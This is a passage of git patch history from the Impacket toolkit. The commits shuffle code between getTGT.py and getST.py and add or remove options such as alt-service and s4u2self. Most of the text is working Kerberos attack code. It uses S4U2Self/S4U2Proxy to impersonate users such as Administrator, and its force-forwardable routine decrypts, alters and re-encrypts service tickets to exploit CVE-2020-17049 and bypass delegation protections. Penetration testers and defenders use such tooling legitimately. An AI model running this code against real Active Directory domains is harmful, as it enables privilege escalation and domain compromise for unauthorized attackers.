privileges you will be able to use +# the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to +# request the ticket.) +# +# Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u) # # Examples: -# ./getTGT.py -hashes lm:nt contoso.com/user +# ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user +# or +# If you have tickets cached (run klist to verify) the script will use them +# ./getST.py -k -spn cifs/contoso-dc contoso.com/user +# Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets +# by default. +# +# Also, if the account is configured with constrained delegation (with protocol transition) you can request +# service tickets for other users, assuming the target SPN is allowed for delegation: +# ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user +# +# The output of this script will be a service ticket for the Administrator user. +# +# Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. # # Author: # Alberto Solino (@agsolino) @@ -20,71 +38,682 @@ from __future__ import division from __future__ import print_function import argparse +import datetime import logging +import os +import random +import struct import sys -from binascii import unhexlify +from binascii import hexlify, unhexlify +from six import b + +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_credentials -from impacket.krb5.kerberosv5 import getKerberosTGT from impacket.krb5 import constants -from impacket.krb5.types import Principal +from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ + Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart +from impacket.krb5.ccache import CCache +from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype +from impacket.krb5.constants import TicketFlags, encodeFlags +from impacket.krb5.kerberosv5 import getKerberosTGS +from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive +from impacket.krb5.types import Principal, KerberosTime, Ticket +from impacket.ntlm import compute_nthash +from impacket.winregistry import hexdump -class GETTGT: +class GETST: def __init__(self, target, password, domain, options): self.__password = password - self.__user= target + self.__user = target self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__options = options self.__kdcHost = options.dc_ip + self.__force_forwardable = options.force_forwardable + self.__additional_ticket = options.additional_ticket + self.__saveFileName = None if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def saveTicket(self, ticket, sessionKey): - logging.info('Saving ticket in %s' % (self.__user + '.ccache')) - from impacket.krb5.ccache import CCache + logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - ccache.fromTGT(ticket, sessionKey, sessionKey) - ccache.saveFile(self.__user + '.ccache') + ccache.fromTGS(ticket, sessionKey, sessionKey) + ccache.saveFile(self.__saveFileName + '.ccache') + + def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): + if not os.path.isfile(additional_ticket_path): + logging.error("Ticket %s doesn't exist" % additional_ticket_path) + exit(0) + else: + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path) + ccache = CCache.loadFile(additional_ticket_path) + principal = ccache.credentials[0].header['server'].prettyPrint() + creds = ccache.getCredential(principal.decode()) + TGS = creds.toTGS(principal) + + tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] + + if logging.getLogger().level == logging.DEBUG: + logging.debug('TGS_REP') + print(tgs.prettyPrint()) + + if self.__force_forwardable: + # Convert hashes to binary form, just in case we're receiving strings + if isinstance(nthash, str): + try: + nthash = unhexlify(nthash) + except TypeError: + pass + if isinstance(aesKey, str): + try: + aesKey = unhexlify(aesKey) + except TypeError: + pass + + # Compute NTHash and AESKey if they're not provided in arguments + if self.__password != '' and self.__domain != '' and self.__user != '': + if not nthash: + nthash = compute_nthash(self.__password) + if logging.getLogger().level == logging.DEBUG: + logging.debug('NTHash') + print(hexlify(nthash).decode()) + if not aesKey: + salt = self.__domain.upper() + self.__user + aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents + if logging.getLogger().level == logging.DEBUG: + logging.debug('AESKey') + print(hexlify(aesKey).decode()) + + # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys + cipherText = tgs['ticket']['enc-part']['cipher'] + + # Check which cipher was used to encrypt the ticket. It's not always the same + # This determines which of our keys we should use for decryption/re-encryption + newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] + if newCipher.enctype == Enctype.RC4: + key = Key(newCipher.enctype, nthash) + else: + key = Key(newCipher.enctype, aesKey) + + # Decrypt and decode the ticket + # Key Usage 2 + # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or + # application session key), encrypted with the service key + # (section 5.4.2) + plainText = newCipher.decrypt(key, 2, cipherText) + encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] + + # Print the flags in the ticket before modification + logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags'])) + logging.debug('\tService ticket from S4U2self is' + + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + + ' forwardable') + + # Customize flags the forwardable flag is the only one that really matters + logging.info('\tForcing the service ticket to be forwardable') + # convert to string of bits + flagBits = encTicketPart['flags'].asBinary() + # Set the forwardable flag. Awkward binary string insertion + flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:] + # Overwrite the value with the new bits + encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags + + logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags'])) + logging.debug('\tService ticket now is' + + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + + ' forwardable') + + # Re-encode and re-encrypt the ticket + # Again, Key Usage 2 + encodedEncTicketPart = encoder.encode(encTicketPart) + cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) + + # put it back in the TGS + tgs['ticket']['enc-part']['cipher'] = cipherText + + ################################################################################ + # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy + # So here I have a ST for me.. I now want a ST for another service + # Extract the ticket from the TGT + ticketTGT = Ticket() + ticketTGT.from_asn1(decodedTGT['ticket']) + + # Get the service ticket + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticketTGT.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) + + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 'cname', clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # Add resource-based constrained delegation support + paPacOptions = PA_PAC_OPTIONS() + paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) + + tgsReq['padata'][1] = noValue + tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value + tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) + + reqBody = seq_set(tgsReq, 'req-body') + + opts = list() + # This specified we're doing S4U + opts.append(constants.KDCOptions.cname_in_addl_tkt.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) + + reqBody['kdc-options'] = constants.encodeFlags(opts) + service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + seq_set(reqBody, 'sname', service2.components_to_asn1) + reqBody['realm'] = self.__domain + + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) + + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + message = encoder.encode(tgsReq) + + logging.info('\tRequesting S4U2Proxy') + r = sendReceive(message, self.__domain, kdcHost) + + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + + cipherText = tgs['enc-part']['cipher'] + + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) + + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] + + return r, cipher, sessionKey, newSessionKey + + def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + # Extract the ticket from the TGT + ticket = Ticket() + ticket.from_asn1(decodedTGT['ticket']) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) + + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 'cname', clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + if logging.getLogger().level == logging.DEBUG: + logging.debug('AUTHENTICATOR') + print(authenticator.prettyPrint()) + print('\n') + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service + # requests a service ticket to itself on behalf of a user. The user is + # identified to the KDC by the user's name and realm. + clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + S4UByteArray = struct.pack('= 0: + logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) + if str(e).find('KDC_ERR_BADOPTION') >= 0: + logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) + + return + self.__saveFileName = self.__options.impersonate + + self.saveTicket(tgs, oldSessionKey) + if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " - "TGT and save it as ccache") + "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') + parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' + 'service ticket will' ' be generated for') + parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' + ' for quering the ST. Keep in mind this will only work if ' + 'the identity provided in this scripts is allowed for ' + 'delegation to the SPN specified') + parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' + 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' + 'specified -identity should be provided. This allows impresonation of protected users ' + 'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049') group = parser.add_argument_group('authentication') - group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' - 'ones specified in the command line') - group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' - '(128 or 256 bits)') - group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' - 'ommited it use the domain part (FQDN) specified in the target parameter') - - if len(sys.argv)==1: + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv) == 1: parser.print_help() print("\nExamples: ") - print("\t./getTGT.py -hashes lm:nt contoso.com/user\n") + print("\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n") print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked") sys.exit(1) @@ -109,15 +738,17 @@ def run(self): if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass + password = getpass("Password:") if options.aesKey is not None: options.k = True - executer = GETTGT(username, password, domain, options) + executer = GETST(username, password, domain, options) executer.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() print(str(e)) From 334ac5b37a00447e00cbd664a6517ec270924cb1 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 11:03:03 +0800 Subject: [PATCH 070/163] Update getTGT.py From 991b52af8acfedb43bdbb60d47271f411a48a344 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 11:05:00 +0800 Subject: [PATCH 071/163] Update getST.py --- examples/getST.py | 67 ++++------------------------------------------- 1 file changed, 5 insertions(+), 62 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 631bb2c1b..fa536ff1f 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -78,8 +78,6 @@ def __init__(self, target, password, domain, options): self.__kdcHost = options.dc_ip self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket - self.__alt_service = options.alt_service - self.__s4u2_self = options.s4u2self self.__saveFileName = None if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') @@ -87,55 +85,8 @@ def __init__(self, target, password, domain, options): def saveTicket(self, ticket, sessionKey): logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - if self.__alt_service != None: - decodedTGS = decoder.decode(ticket, asn1Spec = TGS_REP())[0] - decodedTGS['ticket']['sname']['name-type'] = 0 - decodedTGS['ticket']['sname']['name-string'][0] = self.__alt_service.split('/')[0] - decodedTGS['ticket']['sname']['name-string'][1] = self.__alt_service.split('/')[1] - ticket = encoder.encode(decodedTGS) + ccache.fromTGS(ticket, sessionKey, sessionKey) - cred_number = len(ccache.credentials) - logging.debug('Number of credentials in cache: %d' % cred_number) - if cred_number > 1: - logging.debug("More than one credentials in cache, modifying all of them") - for creds in ccache.credentials: - sname = creds['server'].prettyPrint() - if b'/' not in sname: - logging.debug("Original service is not formatted as usual (i.e. CLASS/HOSTNAME@REALM), automatically filling the substitution service will fail") - logging.debug("Original service is: %s" % sname.decode('utf-8')) - if '/' not in self.__alt_service: - raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") - service_class = "" - hostname = sname.split(b'@')[0].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') - else: - service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') - hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') - if '@' in self.__alt_service: - new_service_realm = self.__alt_service.split('@')[1].upper() - if not '.' in new_service_realm: - logging.debug("New service realm is not FQDN, you may encounter errors") - if '/' in self.__alt_service: - new_hostname = self.__alt_service.split('@')[0].split('/')[1] - new_service_class = self.__alt_service.split('@')[0].split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) - new_hostname = hostname - new_service_class = self.__alt_service.split('@')[0] - else: - logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) - new_service_realm = service_realm - if '/' in self.__alt_service: - new_hostname = self.__alt_service.split('/')[1] - new_service_class = self.__alt_service.split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) - new_hostname = hostname - new_service_class = self.__alt_service - new_sname = "%s/%s@%s" % (new_service_class, new_hostname, new_service_realm) - logging.info('Changing sname from %s to %s' % (sname.decode("utf-8"), new_sname)) - creds['server'].fromPrincipal(Principal(new_sname, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) ccache.saveFile(self.__saveFileName + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): @@ -470,8 +421,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) - if self.__s4u2_self: - return r, cipher, sessionKey, sessionKey + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: @@ -734,14 +684,12 @@ def run(self): parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' - 'service ticket will' ' be generated for') + parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' + 'service ticket will' ' be generated for') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' 'the identity provided in this scripts is allowed for ' 'delegation to the SPN specified') - parser.add_argument('-alt-service', action="store", help='change the service ticket\'s sname') - parser.add_argument('-s4u2self', action="store_true", help='only do s4u2self request') parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') @@ -780,12 +728,7 @@ def run(self): logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) - if options.alt_service != None and len(options.alt_service.split('/')) != 2: - logging.critical('alt-service should be specified as service/host format') - sys.exit(1) - if options.s4u2self == None and options.spn == None: - logging.critical('you must specify spn when s4u2self option is not used') - sys.exit(1) + domain, username, password = parse_credentials(options.identity) try: From 4832b97476fd32a6d478e827c2126169cef37f3f Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 11:05:16 +0800 Subject: [PATCH 072/163] Update getTGT.py --- examples/getTGT.py | 687 ++------------------------------------------- 1 file changed, 28 insertions(+), 659 deletions(-) diff --git a/examples/getTGT.py b/examples/getTGT.py index fa536ff1f..d20df28c7 100755 --- a/examples/getTGT.py +++ b/examples/getTGT.py @@ -8,28 +8,10 @@ # for more information. # # Description: -# Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache -# If the account has constrained delegation (with protocol transition) privileges you will be able to use -# the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to -# request the ticket.) -# -# Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u) +# Given a password, hash or aesKey, it will request a TGT and save it as ccache # # Examples: -# ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user -# or -# If you have tickets cached (run klist to verify) the script will use them -# ./getST.py -k -spn cifs/contoso-dc contoso.com/user -# Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets -# by default. -# -# Also, if the account is configured with constrained delegation (with protocol transition) you can request -# service tickets for other users, assuming the target SPN is allowed for delegation: -# ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user -# -# The output of this script will be a service ticket for the Administrator user. -# -# Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. +# ./getTGT.py -hashes lm:nt contoso.com/user # # Author: # Alberto Solino (@agsolino) @@ -38,682 +20,71 @@ from __future__ import division from __future__ import print_function import argparse -import datetime import logging -import os -import random -import struct import sys -from binascii import hexlify, unhexlify -from six import b - -from pyasn1.codec.der import decoder, encoder -from pyasn1.type.univ import noValue +from binascii import unhexlify from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_credentials +from impacket.krb5.kerberosv5 import getKerberosTGT from impacket.krb5 import constants -from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ - Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart -from impacket.krb5.ccache import CCache -from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype -from impacket.krb5.constants import TicketFlags, encodeFlags -from impacket.krb5.kerberosv5 import getKerberosTGS -from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive -from impacket.krb5.types import Principal, KerberosTime, Ticket -from impacket.ntlm import compute_nthash -from impacket.winregistry import hexdump +from impacket.krb5.types import Principal -class GETST: +class GETTGT: def __init__(self, target, password, domain, options): self.__password = password - self.__user = target + self.__user= target self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__options = options self.__kdcHost = options.dc_ip - self.__force_forwardable = options.force_forwardable - self.__additional_ticket = options.additional_ticket - self.__saveFileName = None if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def saveTicket(self, ticket, sessionKey): - logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) + logging.info('Saving ticket in %s' % (self.__user + '.ccache')) + from impacket.krb5.ccache import CCache ccache = CCache() - ccache.fromTGS(ticket, sessionKey, sessionKey) - ccache.saveFile(self.__saveFileName + '.ccache') - - def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): - if not os.path.isfile(additional_ticket_path): - logging.error("Ticket %s doesn't exist" % additional_ticket_path) - exit(0) - else: - decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] - logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path) - ccache = CCache.loadFile(additional_ticket_path) - principal = ccache.credentials[0].header['server'].prettyPrint() - creds = ccache.getCredential(principal.decode()) - TGS = creds.toTGS(principal) - - tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] - - if logging.getLogger().level == logging.DEBUG: - logging.debug('TGS_REP') - print(tgs.prettyPrint()) - - if self.__force_forwardable: - # Convert hashes to binary form, just in case we're receiving strings - if isinstance(nthash, str): - try: - nthash = unhexlify(nthash) - except TypeError: - pass - if isinstance(aesKey, str): - try: - aesKey = unhexlify(aesKey) - except TypeError: - pass - - # Compute NTHash and AESKey if they're not provided in arguments - if self.__password != '' and self.__domain != '' and self.__user != '': - if not nthash: - nthash = compute_nthash(self.__password) - if logging.getLogger().level == logging.DEBUG: - logging.debug('NTHash') - print(hexlify(nthash).decode()) - if not aesKey: - salt = self.__domain.upper() + self.__user - aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents - if logging.getLogger().level == logging.DEBUG: - logging.debug('AESKey') - print(hexlify(aesKey).decode()) - - # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys - cipherText = tgs['ticket']['enc-part']['cipher'] - - # Check which cipher was used to encrypt the ticket. It's not always the same - # This determines which of our keys we should use for decryption/re-encryption - newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] - if newCipher.enctype == Enctype.RC4: - key = Key(newCipher.enctype, nthash) - else: - key = Key(newCipher.enctype, aesKey) - - # Decrypt and decode the ticket - # Key Usage 2 - # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or - # application session key), encrypted with the service key - # (section 5.4.2) - plainText = newCipher.decrypt(key, 2, cipherText) - encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] - - # Print the flags in the ticket before modification - logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags'])) - logging.debug('\tService ticket from S4U2self is' - + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') - + ' forwardable') - - # Customize flags the forwardable flag is the only one that really matters - logging.info('\tForcing the service ticket to be forwardable') - # convert to string of bits - flagBits = encTicketPart['flags'].asBinary() - # Set the forwardable flag. Awkward binary string insertion - flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:] - # Overwrite the value with the new bits - encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags - - logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags'])) - logging.debug('\tService ticket now is' - + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') - + ' forwardable') - - # Re-encode and re-encrypt the ticket - # Again, Key Usage 2 - encodedEncTicketPart = encoder.encode(encTicketPart) - cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) - - # put it back in the TGS - tgs['ticket']['enc-part']['cipher'] = cipherText - - ################################################################################ - # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy - # So here I have a ST for me.. I now want a ST for another service - # Extract the ticket from the TGT - ticketTGT = Ticket() - ticketTGT.from_asn1(decodedTGT['ticket']) - - # Get the service ticket - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) - - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - - opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticketTGT.to_asn1) - - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) - - clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') - - seq_set(authenticator, 'cname', clientName.components_to_asn1) - - now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) - - encodedAuthenticator = encoder.encode(authenticator) - - # Key Usage 7 - # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes - # TGS authenticator subkey), encrypted with the TGS session - # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - - encodedApReq = encoder.encode(apReq) - - tgsReq = TGS_REQ() - - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq - - # Add resource-based constrained delegation support - paPacOptions = PA_PAC_OPTIONS() - paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) - - tgsReq['padata'][1] = noValue - tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value - tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) - - reqBody = seq_set(tgsReq, 'req-body') - - opts = list() - # This specified we're doing S4U - opts.append(constants.KDCOptions.cname_in_addl_tkt.value) - opts.append(constants.KDCOptions.canonicalize.value) - 